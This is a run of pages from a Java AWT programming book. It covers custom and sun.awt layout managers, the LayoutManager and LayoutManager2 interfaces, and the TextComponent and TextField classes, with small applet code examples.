toString() simply returns a string describing the layout.

Strictly speaking, there's no reason to update the CornerLayout for Java 1.1. Nothing about Java 1.1 says that new layout managers have to implement the LayoutManager2 interface. However, implementing LayoutManager2 isn't a bad idea, particularly since CornerLayout works with constraints; like BorderLayout, it has named regions. To extend CornerLayout so that it implements LayoutManager2, add the following code; we'll create a new CornerLayout2:

// Java 1.1 only
import java.awt.*;
public class CornerLayout2 extends CornerLayout implements LayoutManager2 {
    public void addLayoutComponent(Component comp, Object constraints) {
        if ((constraints == null) || (constraints instanceof String)) {
            addLayoutComponent((String)constraints, comp);
        } else {
            throw new IllegalArgumentException(
                  "cannot add to layout: constraint must be a string (or null)");
        }
    }
    public Dimension maximumLayoutSize(Container target) {
        return new Dimension(Integer.MAX_VALUE, Integer.MAX_VALUE);
    }
    public float getLayoutAlignmentX(Container parent) {
        return Component.CENTER_ALIGNMENT;
    }
    public float getLayoutAlignmentY(Container parent) {
        return Component.CENTER_ALIGNMENT;
    }
    public void invalidateLayout(Container target) {
    }
}

Previous | Home | Next
Disabling the LayoutManager | Book Index | The sun.awt Layout Collection
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.11 The sun.awt Layout Collection

Previous Chapter 7
Layouts 		Next

7.11 The sun.awt Layout Collection

The sun.awt package defines four additional layouts. The first two, HorizBagLayout and VerticalBagLayout, are available only when used with Sun's JDK or Internet Explorer, since they are not provided with Netscape Navigator and may not be available from other vendors. Therefore, these layout managers should be used selectively within applets. The third layout manager, VariableGridLayout, is available with Netscape Navigator 2.0 or 3.0 and Internet Explorer. Usage of this layout manager is safer within applets but is still at your own risk. The final layout manager is introduced in Java 1.1, OrientableFlowLayout. Only time will tell where that one will be available. Any of these layout managers could be moved into a future version of java.awt if there is enough interest.

HorizBagLayout

In a HorizBagLayout, the components are all arranged in a single row, from left to right. The height of each component is the height of the container; the width of each component is its preferred width. Figure 7.16 shows HorizBagLayout in use.

Figure 7.16: HorizBagLayout

[Graphic: Figure 7-16]

Constructors

public HorizBagLayout ()

This constructor creates a HorizBagLayout with a horizontal gap of zero pixels. The gap is the space between the different components in the horizontal direction.

public HorizBagLayout (int hgap)

This constructor creates a HorizBagLayout using a horizontal gap of hgap pixels.

LayoutManager methods

public void addLayoutComponent (String name, Component component)

The addLayoutComponent() method of HorizBagLayout does nothing.

public void removeLayoutComponent (Component component)

The removeLayoutComponent() method of HorizBagLayout does nothing.

public Dimension preferredLayoutSize (Container target)

The preferredLayoutSize() method of HorizBagLayout sums up the preferred widths of all the components in target, along with the hgap and right and left insets to get the width of the target. The height returned will be the preferred height of the tallest component.

public Dimension minimumLayoutSize (Container target)

The minimumLayoutSize() method of HorizBagLayout sums up the minimum widths of all the components in target, along with the hgap and right and left insets to get the width of the target. The height returned will be the minimum height of the tallest component.

public void layoutContainer (Container target)

The layoutContainer() method draws target's components on the screen in one row. The height of each component is the height of the container. Each component's width is its preferred width, if enough space is available.

Miscellaneous methods

public String toString ()

The toString() method of HorizBagLayout returns a string with the current horizontal gap setting--for example:

sun.awt.HorizBagLayout[hgap=0]

VerticalBagLayout

The VerticalBagLayout places all the components in a single column. The width of each component is the width of the container; each component is given its preferred height. Figure 7.17 shows VerticalBagLayout in use.

Figure 7.17: VerticalBagLayout

[Graphic: Figure 7-17]

Constructors

public VerticalBagLayout ()

This constructor creates a VerticalBagLayout with a vertical gap of zero pixels. The gap is the space between components in the vertical direction. With a gap of 0, adjacent components will touch each other.

public VerticalBagLayout (int vgap)

This constructor creates a VerticalBagLayout with a vertical gap of vgap pixels.

LayoutManager methods

public void addLayoutComponent (String name, Component component)

The addLayoutComponent() method of VerticalBagLayout does nothing.

public void removeLayoutComponent (Component component)

The removeLayoutComponent() method of VerticalBagLayout does nothing.

public Dimension preferredLayoutSize (Container target)

To get the preferred height of the layout, the preferredLayoutSize() method sums up the preferred height of all the components in target along with the vgap and top and bottom insets. For the preferred width, preferredLayoutSize() returns the preferred width of the widest component.

public Dimension minimumLayoutSize (Container target)

To get the minimum height of the layout, the minimumLayoutSize() method sums up the minimum height of all the components in target along with the vgap and top and bottom insets. For the minimum width, minimumLayoutSize() returns the minimum width of the widest component.

public void layoutContainer (Container target)

The layoutContainer() method draws target's components on the screen in one column. The width of each component is the width of the container. Each component's height is its preferredSize() height, if available.

Miscellaneous methods

public String toString ()

The toString() method of VerticalBagLayout returns a string with the current vertical gap setting. For example:

sun.awt.VerticalBagLayout[vgap=0]

VariableGridLayout

The VariableGridLayout builds upon the GridLayout. It arranges components on a grid of rows and columns. However, instead of giving all components the same size, the VariableGridLayout allows you to size rows and columns fractionally. Another difference between VariableGridLayout and GridBagLayout is that a VariableGridLayout has a fixed size. If you ask for a 3x3 grid, you will get exactly that. The layout manager throws the ArrayIndexOutOfBoundsException run-time exception if you try to add too many components.

Figure 7.18 shows a VariableGridLayout in which row one takes up 50 percent of the screen, and rows two and three take up 25 percent of the screen each. Column one takes up 50 percent of the screen; columns two and three take 25 percent each.

Figure 7.18: VariableGridLayout in Netscape Navigator

[Graphic: Figure 7-18]

Here is the code that creates Figure 7.18:

import java.awt.*;
java.applet.Applet;
import sun.awt.VariableGridLayout;
public class vargrid extends Applet {
    public void init () {
        VariableGridLayout vgl;
        setLayout (vgl = new VariableGridLayout (3,3));
        vgl.setRowFraction (0, 1.0/2.0);
        vgl.setRowFraction (1, 1.0/4.0);
        vgl.setRowFraction (2, 1.0/4.0);
        vgl.setColFraction (0, 1.0/2.0);
        vgl.setColFraction (1, 1.0/4.0);
        vgl.setColFraction (2, 1.0/4.0);
        add (new Button ("One"));
        add (new Button ("Two"));
        add (new Button ("Three"));
        add (new Button ("Four"));
        add (new Button ("Five"));
        add (new Button ("Six"));
        add (new Button ("Seven"));
        add (new Button ("Eight"));
        add (new Button ("Nine"));
    }
}
Constructors

public VariableGridLayout (int rows, int columns)

This constructor creates a VariableGridLayout with the specified number of rows and columns. You cannot specify zero for one dimension. If either rows or columns is zero, the constructor throws the NullPointerException run-time exception. This constructor uses the default values for horizontal and vertical gaps (zero pixels), which means that components in adjacent cells will touch each other.

public VariableGridLayout (int rows, int columns, int hgap, int vgap)

This version of the constructor is called by the previous one. It creates a VariableGridLayout with the specified number of rows and columns, a horizontal gap of hgap, and a vertical gap of vgap. The gaps specify in pixels the space between adjacent components in the horizontal and vertical directions. It is possible to have negative gaps if you want components to overlap. You cannot specify zero for the number of rows or columns. If either rows or columns is zero, the constructor throws the run-time exception NullPointerException.

Support methods

The distinguishing feature of a VariableGridLayout is that you can tell a particular row or column to take up a certain fraction of the display. By default, the horizontal space available is split evenly among the grid's columns; vertical space is split evenly among the rows. This group of methods lets you find out how much space is allotted to each row or column and lets you change that allocation. The sum of the fractional amounts for each direction should add up to one. If greater than one, part of the display will be drawn offscreen. If less than one, additional screen real estate will be unused.

public void setRowFraction (int rowNumber, double fraction)

This method sets the percentage of space available for row rowNumber to fraction.

public void setColFraction (int colNumber, double fraction)

This method sets the percentage of space available for column colNumber to fraction.

public double getRowFraction (int rowNumber)

This method returns the current fractional setting for row rowNumber.

public double getColFraction (int colNumber)

This method returns the current fractional setting for column colNumber.

LayoutManager methods

The only method from GridLayout that is overridden is the layoutContainer() method.

public void layoutContainer (Container target)

The layoutContainer() method draws target's components on the screen in a series of rows and columns. The size of each component within a VariableGridLayout is determined by the RowFraction and ColFraction settings for its row and column.

Miscellaneous methods

public String toString ()

The toString() method of VariableGridLayout returns a string with the current horizontal and vertical gap settings, the number of rows and columns, and the row and column fractional amounts. For example, the string produced by Figure 7.19 would be:

sun.awt.VariableGridLayout[hgap=0,vgap=0,rows=3,cols=3,
    rowFracs=[3]<0.50><0.25><0.25>,colFracs=[3]<0.50><0.25><0.25>]

OrientableFlowLayout

The OrientableFlowLayout is available for those who want something like a FlowLayout that lets you arrange components from top to bottom. Figure 7.19 shows OrientableFlowLayout in use.

Figure 7.19: OrientableFlowLayout

[Graphic: Figure 7-19]

Constants

Since OrientableFlowLayout subclasses FlowLayout, the FlowLayout constants of LEFT, RIGHT, and CENTER are still available.

public static final int HORIZONTAL (New)

The HORIZONTAL constant tells the layout manager to arrange components from left to right, like the FlowLayout manager.

public static final int VERTICAL (New)

The VERTICAL constant tells the layout manager to arrange components from top to bottom.

public static final int TOP (New)

The TOP constant tells the layout manager to align the first component at the top of the screen (top justification).

public static final int BOTTOM (New)

The BOTTOM constant tells the layout manager to align the first component at the bottom of the screen (bottom justification).

Constructors

public OrientableFlowLayout () (New)

This constructor creates a OrientableFlowLayout that acts like the default FlowLayout. The objects flow from left to right and have an hgap and vgap of 5.

public OrientableFlowLayout (int direction) (New)

This constructor creates a OrientableFlowLayout in the given direction. Valid values are OrientableFlowLayout.HORIZONTAL or OrientableFlowLayout.VERTICAL.

public OrientableFlowLayout (int direction, int horizAlignment, int vertAlignment) (New)

This constructor creates a OrientableFlowLayout in the given direction. Valid values are OrientableFlowLayout.HORIZONTAL or OrientableFlowLayout.VERTICAL. horizAlignment provides the horizontal alignment setting. vertAlignment provides a vertical alignment setting; it may be OrientableFlowLayout.TOP, FlowLayout.CENTER, or OrientableFlowLayout.BOTTOM. If direction is HORIZONTAL, the vertical alignment is ignored. If direction is VERTICAL, the horizontal alignment is ignored.

public OrientableFlowLayout (int direction, int horizAlignment, int vertAlignment, int horizHgap, int horizVgap, int vertHgap, int vertVgap) (New)

The final constructor adds separate horizontal and vertical gaps to the settings of OrientableFlowLayout. The horizHgap and horizVgap parameters are the gaps when horizontally aligned. The vertHgap and vertVgap parameters are the gaps when vertically aligned.

LayoutManager methods

public Dimension preferredLayoutSize (Container target) (New)

The preferredLayoutSize() method of OrientableFlowLayout calculates the preferred dimensions for the target container. The OrientableFlowLayout computes the preferred size by placing all the components in one row or column, depending upon the current orientation, and adding their individual preferred sizes along with gaps and insets.

public Dimension minimumLayoutSize (Container target) (New)

The minimumLayoutSize() method of OrientableFlowLayout calculates the minimum dimensions for the container by adding up the sizes of the components. The OrientableFlowLayout computes the minimum size by placing all the components in one row or column, depending upon the current orientation, and adding their individual minimum sizes along with gaps and insets.

public void layoutContainer (Container target) (New)

The layoutContainer() method draws target's Components on the screen, starting with the first row or column of the display, and going from left to right across the screen, or from top to bottom, based on the current orientation. When it reaches the margin of the container, it skips to the next row or column and continues drawing additional components.

Miscellaneous methods

public void orientHorizontally () (New)

The orientHorizontally() method allows you to change the orientation of the LayoutManager to horizontal. The container must be validated before you see the effect of the change.

public void orientVertically () (New)

The orientVertically() method allows you to change the orientation of the LayoutManager to vertical. The container must be validated before you see the effect of the change.

public String toString () (New)

The toString() method of OrientableFlowLayout returns a string with the current orientation setting, along with the entire FlowLayout.toString() results. For example:

sun.awt.OrientableFlowLayout[orientation=vertical,
sun.awt.OrientableFlowLayout[hgap=5,vgap=5,align=center]]

Previous | Home | Next
Designing Your Own LayoutManager | Book Index | Other Layouts Available on the Net
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.12 Other Layouts Available on the Net

Previous Chapter 7
Layouts 		Next

7.12 Other Layouts Available on the Net

Many custom layout managers are available on the Internet. Many of these duplicate the layout behavior of other environments. For example, the FractionalLayout is based on Smalltalk's positioning mechanism; it is located at http://www.mcs.net/~elunt/Java/FractionalLayoutDescription.html. The RelativeLayout allows you to position components relative to others, similar to an X Window form; you can find it at http://www-elec.enst.fr/java/RelativeLayout.java. If you like the way Tcl/Tk arranges widgets, try the PackerLayout; it is available at http://www.geom.umn.edu/~daeron/apps/ui/pack/gui.html. If none of these suit you, you can find a collection of links to custom layout managers at http://www.softbear.com/people/larry/javalm.htm. Gamelan (http://www.gamelan.com/) is always a good source for Java classes; try searching for LayoutManager.

Previous | Home | Next
The sun.awt Layout Collection | Book Index | Input Fields
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] Layouts

Previous Chapter 7 Next

7. Layouts

Contents:

Select a new section and then

This chapter expands upon the idea of a layout manager, which was mentioned briefly in the previous chapter. Every container has a LayoutManager that is responsible for positioning the component objects within it, regardless of the platform or the screen size. Layout managers eliminate the need to compute component placement on your own, which would be a losing proposition since the size required for any component depends on the platform on which it is displayed. Even for a simple layout, the code required to discover component sizes and compute absolute positions could be hundreds of lines, particularly if you concern yourself with what happens when the user resizes a window. A layout manager takes care of this for you. It asks each component in the layout how much space it requires, then arranges the components on the screen as best it can, based on the component sizes on the platform in use and the space available, resizing the components as needed.

To find out how much space a component needs, a layout manager calls the component's getMinimumSize() and getPreferredSize() methods. ( Java 1.1 also has a getMaximumSize() method; the existing layout managers don't take advantage of it.) These methods report the minimum space that a component requires to be displayed correctly and the optimal size at which it looks best. Thus, each component must know its space requirements; the layout manager uses these to arrange the screen; and your Java program never has to worry about platform-dependent positioning.

The java.awt package provides five layout managers: FlowLayout, BorderLayout, GridLayout, CardLayout, and GridBagLayout. Four additional layouts are provided in the sun.awt package: HorizBagLayout, VerticalBagLayout, OrientableFlowLayout, and VariableGridLayout. OrientableFlowLayout is new to Java 1.1. Of the 1.0 layouts, all are available in the JDK and Internet Explorer. The VariableGridLayout is also available with Netscape Navigator. This chapter discusses all of them, along with the LayoutManager and LayoutManager2 interfaces; we'll pay particular attention to how each layout manager computes positions for its components. We will also discuss how to combine layouts to generate more complex screens and how to create your own LayoutManager for special situations.

7.1 The LayoutManager Interface

The LayoutManager interface defines the responsibilities of something that wants to lay out Components within a Container. It is the LayoutManager's duty to determine the position and size of each component within the Container. You will never directly call the methods of the LayoutManager interface; for the most part, layout managers do their work behind the scenes. Once you have created a LayoutManager object and told the container to use it (by calling setLayout()), you're finished with it. The system calls the appropriate methods in the layout manager when necessary.

Therefore, the LayoutManager interface is most important when you are writing a new layout manager; we'll discuss it here because it's the scaffolding on which all layout managers are based. Like any interface, LayoutManager specifies the methods a layout manager must implement but says nothing about how the LayoutManager does its job. Therefore, we'll make a few observations before proceeding. First, a layout manager is free to ignore some of its components; there is no requirement that a layout manager display everything. For example, a Container using a BorderLayout might include thirty or forty components. However, the BorderLayout will display at most five of them (the last component placed in each of its five named areas). Likewise, a CardLayout may manage many components but displays only one at a time.

Second, a layout manager can do anything it wants with the components' minimum and preferred sizes. It is free to ignore either. It makes sense that a layout manager can ignore a preferred size; after all, "preferred" means "give me this if it's available." However, a layout manager can also ignore a minimum size. At times, there is no reasonable alternative: the container may not have enough room to display a component at its minimum size. How to handle this situation is left to the layout manager's discretion. All layout managers currently ignore a component's maximum size, though this may change in the future.

Methods of the LayoutManager Interface

Five methods make up the LayoutManager interface. If you create your own class that implements LayoutManager, you must define all five. As you will see, many of the methods do not have to do anything, but there must still be a stub with the appropriate method signature.

public abstract void addLayoutComponent (String name, Component component)

The addLayoutComponent() method is called only when the program assigns a name to the component when adding it to the layout (i.e., the program calls add(String, Component) rather than simply calling add(Component) or the Java 1.1 add(Component, Object)). It is up to the layout manager to decide what, if anything, to do with the name. For example, BorderLayout uses name to specify an area on the screen in which to display the component. Most layout managers don't require a name and will only implement a stub.

public abstract void removeLayoutComponent (Component component)

The removeLayoutComponent() method's responsibility is to remove component from any internal storage used by the layout manager. This method will probably be stubbed out for your own layouts and do nothing. However, it may need to do something if your layout manager associates components with names.

public abstract Dimension preferredLayoutSize (Container parent)

The preferredLayoutSize() method is called to determine the preferred size of the components within the Container. It returns a Dimension object that contains the required height and width. parent is the object whose components need to be laid out. Usually, the LayoutManager determines how to size parent by calculating the sizes of the components within it and calculating the dimensions required to display them. On other occasions, it may just return parent.setSize().

public abstract Dimension minimumLayoutSize (Container parent)

The minimumLayoutSize() method is called to determine the minimum size of the components within the Container. It returns a Dimension object that contains the required height and width. parent is the object whose components need to be laid out.

public abstract void layoutContainer (Container parent)

The layoutContainer() method is where a LayoutManager does most of its work. The layoutContainer() method is responsible for the positioning of all the Components of parent. Each specific layout positions the enclosed components based upon its own rules.

The LayoutManager2 Interface

Numerous changes were introduced in Java 1.1 to make it conform to various design patterns. These patterns provide consistency in usage and make Java programming easier. The LayoutManager2 interface was introduced for this reason. This new interface solves a problem that occurs when working with the GridBagLayout. While the addLayoutComponent(String, Component) method of LayoutManager works great for BorderLayout and CardLayout, you can't use it for a GridBagLayout. The position of a component in a GridBagLayout is controlled by a number of constraints, which are encapsulated in a GridBagConstraints object. To associate constraints with a component, you needed to call a setConstraints() method. Although this works, it is not consistent with the way you add components to other layouts. Furthermore, as more and more people create their own layout managers, the number of ways to associate positioning information with a component could grow endlessly. LayoutManager2 defines a version of addLayoutComponent() that can be used by all constraint-based layout managers, including older managers like BorderLayout and CardLayout. This method lets you pass an arbitrary object to the layout manager to provide positioning information. Layout managers that need additional information (like the GridBagConstraints object) now implement LayoutManager2 instead of LayoutManager.

In addition to swapping the parameters to the addLayoutComponent(Component, Object), the new LayoutManager2 interface also defines several methods that aren't really needed now but will facilitate the introduction of "peerless components" in a later release. Methods of the LayoutManager2 interface

public abstract void addLayoutComponent(Component comp, Object constraints) (New)

The addLayoutComponent() method is called when a program assigns constraints to the component comp when adding it to the layout. In practice, this means that the program added the component by calling the new method add(Component component, Object constraints) rather than the older methods add(Component component) or add(String name, Component component)). It is up to the layout manager to decide what, if anything, to do with the constraints. For example, GridBagLayout uses constraints to associate a GridBagConstraints object to the component comp. BorderLayout uses constraints to associate a location string (like "Center") with the component.

public abstract Dimension maximumLayoutSize(Container target) (New)

The maximumLayoutSize() method must return the maximum size of the target container under this layout manager. Previously, only minimum and preferred sizes were available. Now a container can have a maximum size. Once layout managers support the concept of maximum sizes, containers will not grow without bounds when additional space is available. If there is no actual maximum, the Dimension should have a width and height of the constant Integer.MAX_VALUE.

public abstract float getLayoutAlignmentX(Container target) (New)

The getLayoutAlignmentX() method must return the alignment of target along the x axis. The return value should be between 0.0 and 1.0. Values nearer 0 mean that the container will be positioned closer to the left edge of the area available. Values nearer 1 mean that the container will be positioned closer to the right. The value 0.5 means the container should be centered.

public abstract float getLayoutAlignmentY(Container target) (New)

The getLayoutAlignmentY() method must return the alignment of target along the y axis. The return value should be between 0.0 and 1.0. Values nearer 0 mean that the container will be positioned closer to the top of the area available. Values nearer 1 mean that the container will be positioned closer to the bottom. The value 0.5 means the container should be centered.

public abstract void invalidateLayout(Container target) (New)

The invalidateLayout() method tells the layout manager that any layout information it has for target is invalid. This method will usually be implemented as a stub (i.e., {}). However, if the layout manager caches any information about target when this method is called, the manager should consider that information invalid and discard it.

Previous | Home | Next
FileDialog | Book Index | FlowLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] Input Fields

Previous Chapter 8 Next

8. Input Fields

Contents:
Text Component
TextField
TextArea
Extending TextField

There are two fundamental ways for users to provide input to a program: they can type on a keyboard, or they can select something (a button, a menu item, etc.) using a mouse. When you want a user to provide input to your program, you can display a list of choices to choose from or allow the user to interact with your program by typing with the keyboard. Presenting choices to the user is covered in Chapter 9, Pick Me. As far as keyboard input goes, the java.awt package provides two options. The TextField class is a single line input field, while the TextArea class is a multiline one. Both TextField and TextArea are subclasses of the class TextComponent, which contains all the common functionality of the two. TextComponent is a subclass of Component, which is a subclass of Object. So you inherit all of these methods when you work with either TextField or TextArea.

8.1 Text Component

By themselves, the TextField and TextArea classes are fairly robust. However, in order to reduce duplication between the classes, they both inherit a number of methods from the TextComponent class. The constructor for TextComponent is package private, so you cannot create an instance of it yourself. Some of the activities shared by TextField and TextArea through the TextComponent methods include setting the text, getting the text, selecting the text, and making it read-only.

TextComponent Methods

Contents

Both TextField and TextArea contain a set of characters whose content determines the current value of the TextComponent. The following methods are usually called in response to an external event.

public String getText ()

The getText() method returns the current contents of the TextComponent as a String object.

public void setText (String text)

The setText() method sets the content of the TextComponent to text. If the TextComponent is a TextArea, you can embed newline characters (\n) in the text so that it will appear on multiple lines.

Text selection

Users can select text in TextComponents by pressing a mouse button at a starting point and dragging the cursor across the text. The selected text is displayed in reverse video. Only one block of text can be selected at any given time within a single TextComponent. Once selected, this block could be used to provide the user with some text-related operation such as cut and paste (on a PopupMenu).

Depending on the platform, you might or might not be able to get selected text when a TextComponent does not have the input focus. In general, the component with selected text must have input focus in order for you to retrieve any information about the selection. However, in some environments, the text remains selected when the component no longer has the input focus.

public int getSelectionStart ()

The getSelectionStart() method returns the initial position of any selected text. The position can be considered the number of characters preceding the first selected character. If there is no selected text, getSelectionStart() returns the current cursor position. If the start of the selection is at beginning of the text, the return value is 0.

public int getSelectionEnd ()

The getSelectionEnd() method returns the ending cursor position of any selected text--that is, the number of characters preceding the end of the selection. If there is no selected text, getSelectionEnd() returns the current cursor position.

public String getSelectedText ()

The getSelectedText() method returns the currently selected text of the TextComponent as a String. If nothing is selected, getSelectedText() returns an empty String, not null.

public void setSelectionStart (int position) (New)

The setSelectionStart() method changes the beginning of the current selection to position. If position is after getSelectionEnd(), the cursor position moves to getSelectionEnd(), and nothing is selected.

public void setSelectionEnd (int position) (New)

The setSelectionEnd() method changes the end of the current selection to position. If position is before getSelectionStart(), the cursor position moves to position, and nothing is selected.

public void select (int selectionStart, int selectionEnd)

The select() method selects the text in the TextComponent from selectionStart to selectionEnd. If selectionStart is after selectionEnd, the cursor position moves to selectionEnd. Some platforms allow you to use select() to ensure that a particular position is visible on the screen.

public void selectAll ()

The selectAll() method selects all the text in the TextComponent. It basically does a select() call with a selectionStart position of 0 and a selectionEnd position of the length of the contents.

Carets

Introduced in Java 1.1 is the ability to set and get the current insertion position within the text object.

public int getCaretPosition () (New)

The getCaretPosition() method returns the current text insertion position (often called the "cursor") of the TextComponent. You can use this position to paste text from the clipboard with the java.awt.datatransfer package described in Chapter 16, Data Transfer.

public void setCaretPosition (int position) (New)

The setCaretPosition() method moves the current text insertion location of the TextComponent to position. If the TextComponent does not have a peer yet, setCaretPosition() throws the IllegalComponentStateException run-time exception. If position < 0, this method throws the run-time exception IllegalArgumentException. If position is too big, the text insertion point is positioned at the end.

Prior to Java version 1.1, the insertion location was usually set by calling select(position, position).

Read-only text

By default, a TextComponent is editable. If a user types while the component has input focus, its contents will change. A TextComponent can also be used in an output-only (read-only) mode.

public void setEditable (boolean state)

The setEditable() method allows you to change the current editable state of the TextComponent to state. true means the component is editable; false means read-only.

public boolean isEditable ()

The isEditable() method tells you if the TextComponent is editable (true) or read-only (false).

The following listing is an applet that toggles the editable status for a TextArea and sets a label to show the current status. As you can see in Figure 8.1, platforms can change the display characteristics of the TextComponent to reflect whether the component is editable. (Windows 95 darkens the background. Motif and Windows NT do nothing.)

import java.awt.*;
import java.applet.*;
public class readonly extends Applet {
    TextArea area;
    Label label;
    public void init () {
        setLayout (new BorderLayout (10, 10));
        add ("South", new Button ("toggleState"));
        add ("Center", area = new TextArea ("Help Me", 5, 10));
        add ("North", label = new Label ("Editable", Label.CENTER));
    }
    public boolean action (Event e, Object o) {
        if (e.target instanceof Button) {
            if ("toggleState".equals(o)) {
               area.setEditable (!area.isEditable ());
               label.setText ((area.isEditable () ? "Editable" : "Read-only"));
               return true;
            }
        }
        return false;
    }
}

Figure 8.1: Editable and read-only TextAreas

[Graphic: Figure 8-1]

Miscellaneous methods

public synchronized void removeNotifiy ()

The removeNotify() method destroys the peer of the TextComponent and removes it from the screen. Prior to the TextComponent peer's destruction, the current state is saved so that a subsequent call to addNotify() will put it back. (TextArea and TextField each have their own addNotify() methods.) These methods deal with the peer object, which hides the native platform's implementation of the component. If you override this method for a specific TextComponent, put in the customizations for your new class first, and call super.removeNotify() last.

protected String paramString ()

When you call the toString() method of a TextField or TextArea, the default toString() method of Component is called. This in turn calls paramString(), which builds up the string to display. The TextComponent level potentially adds four items. The first is the current contents of the TextComponent (getText()). If the text is editable, paramString() adds the word editable to the string. The last two items included are the current selection range (getSelectionStart() and getSelectionEnd()).

TextComponent Events

With the 1.1 event model, you can register listeners for text events. A text event occurs when the component's content changes, either because the user typed something or because the program called a method like setText(). Listeners are registered with the addTextListener() method. When the content changes, the TextListener.textValueChanges() method is called through the protected method processTextEvent(). There is no equivalent to TextEvent in Java 1.0; you would have to direct keyboard changes and all programmatic changes to a common method yourself.

In addition to TextEvent listeners, Key, mouse, and focus listeners are registered through the Component methods addKeyListener(), addMouseListener(), addMouseMotionListener(), and addFocusListener(), respectively. Listeners and 1.1 event handling

public synchronized void addTextListener(TextListener listener) (New)

The addTextListener() method registers listener as an object interested in receiving notifications when a TextEvent passes through the EventQueue with this TextComponent as its target. The listener.textValueChanged() method is called when these events occur. Multiple listeners can be registered.

The following applet, text13, demonstrates how to use a TextListener to handle the events that occur when a TextField is changed. Whenever the user types into the TextField, a TextEvent is delivered to the textValueChanged() method, which prints a message on the Java console. The applet includes a button that, when pressed, modifies the text field tf by calling setText(). These changes also generate a TextEvent.

// Java 1.1 only
import java.applet.*;
import java.awt.*;
import java.awt.event.*;
class TextFieldSetter implements ActionListener {
    TextField tf;
    TextFieldSetter (TextField tf) {
        this.tf = tf;
    }
    public void actionPerformed(ActionEvent e) {
        if (e.getActionCommand().equals ("Set")) {
            tf.setText ("Hello");
        }
    }
}
public class text13 extends Applet implements TextListener {
    TextField tf;
    int i=0;
    public void init () {
        Button b;
        tf = new TextField ("Help Text", 20);
        add (tf);
        tf.addTextListener (this);
        add (b = new Button ("Set"));
        b.addActionListener (new TextFieldSetter (tf));
    }
    public void textValueChanged(TextEvent e) {
        System.out.println (++i + ": " + e);
    }
}

public void removeTextListener(TextListener listener) (New)

The removeTextListener() method removes listener as an interested listener. If listener is not registered, nothing happens.

protected void processEvent(AWTEvent e) (New)

The processEvent() method receives all AWTEvents with this TextComponent as its target. processEvent() then passes the events along to any listeners for processing. When you subclass TextComponent, overriding processEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processEvent() is like overriding handleEvent() using the 1.0 event model.

If you override processEvent(), remember to call super.processEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

protected void processTextEvent(TextEvent e) (New)

The processTextEvent() method receives all TextEvents with this TextComponent as its target. processTextEvent() then passes them along to any listeners for processing. When you subclass TextField or TextArea, overriding the processTextEvent() method allows you to process all text events yourself, before sending them to any listeners. There is no equivalent to processTextEvent() within the 1.0 event model.

If you override processTextEvent(), remember to call the method super.processTextEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

Previous | Home | Next
Other Layouts Available on the Net | Book Index | TextField
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] 8.2 TextField

Previous Chapter 8
Input Fields 		Next

8.2 TextField

TextField is the TextComponent for single-line input. Some constructors permit you to set the width of the TextField on the screen, but the current LayoutManager may change it. The text in the TextField is left justified, and the justification is not customizable. To change the font and size of text within the TextField, call setFont() as shown in Chapter 3, Fonts and Colors.

The width of the field does not limit the number of characters that the user can type into the field. It merely suggests how wide the field should be. To limit the number of characters, it is necessary to override the keyDown() method for the Component. Extending TextField contains an example showing how to do this.

TextField Methods

Constructors

public TextField ()

This constructor creates an empty TextField. The width of the TextField is zero columns, but it will be made wide enough to display just about one character, depending on the current font and size.

public TextField (int columns)

This constructor creates an empty TextField. The TextField width is columns. The TextField will try to be wide enough to display columns characters in the current font and size. As I mentioned previously, the layout manager may change the size.

public TextField (String text)

This constructor creates a TextField with text as its content. In Java 1.0 systems, the TextField is 0 columns wide (the getColumns() result), but the system will size it to fit the length of text. With Java 1.1, getColumns() actually returns text.length.

public TextField (String text, int columns)

This constructor creates a TextField with text as its content and a width of columns.

The following example uses all four constructors; the results are shown in Figure 8.2. With the third constructor, you see that the TextField is not quite wide enough for our text. The system uses an average width per character to try to determine how wide the field should be. If you want to be on the safe side, specify the field's length explicitly, and add a few extra characters to ensure that there is enough room on the screen for the entire text.

import java.awt.TextField;
public class texts extends java.applet.Applet {
   public void init () {
        add (new TextField ());                   // A
        add (new TextField (15));                 // B
        add (new TextField ("Empty String"));     // C
        add (new TextField ("Empty String", 20)); // D
   }
}

Figure 8.2: Using the TextField constructors

[Graphic: Figure 8-2]

Sizing

public int getColumns ()

The getColumns() method returns the number of columns set with the constructor or a later call to setColumns(). This could be different from the displayed width of the TextField, depending upon the current LayoutManager.

public void setColumns (int columns) (New)

The setColumns() method changes the preferred number of columns for the TextField to display to columns. Because the current LayoutManager will do what it wants, the new setting may be completely ignored. If columns < 0, setColumns() throws the run-time exception IllegalArgumentException.

public Dimension getPreferredSize (int columns) (New)
public Dimension preferredSize (int columns) (Deprecated)

The getPreferredSize() method returns the Dimension (width and height) for the preferred size of a TextField with a width of columns. The columns specified may be different from the number of columns designated in the constructor.

preferredSize() is the Java 1.0 name for this method.

public Dimension getPreferredSize () (New)
public Dimension preferredSize () (Deprecated)

The getPreferredSize() method returns the Dimension (width and height) for the preferred size of the TextField. Without the columns parameter, this getPreferredSize() uses the constructor's number of columns (or the value from a subsequent call to setColumns()) to calculate the TextField's preferred size.

preferredSize() is the Java 1.0 name for this method.

public Dimension getMinimumSize (int columns) (New)
public Dimension minimumSize (int columns) (Deprecated)

The getMinimumSize() method returns the minimum Dimension (width and height) for the size of a TextField with a width of columns. The columns specified may be different from the columns designated in the constructor.

minimumSize() is the Java 1.0 name for this method.

public Dimension getMinimumSize () (New)
public Dimension minimumSize ()

The getMinimumSize() method returns the minimum Dimension (width and height) for the size of the TextField. Without the columns parameter, this getMinimumSize() uses the constructor's number of columns (or the value from a subsequent call to setColumns()) to calculate the TextField's minimum size.

minimumSize() is the Java 1.0 name for this method.

Echoing character

It is possible to change the character echoed back to the user when he or she types. This is extremely useful for implementing password entry fields.

public char getEchoChar ()

The getEchoChar() method returns the currently echoed character. If the TextField is echoing normally, getEchoChar() returns zero.

public void setEchoChar (char c) (New)
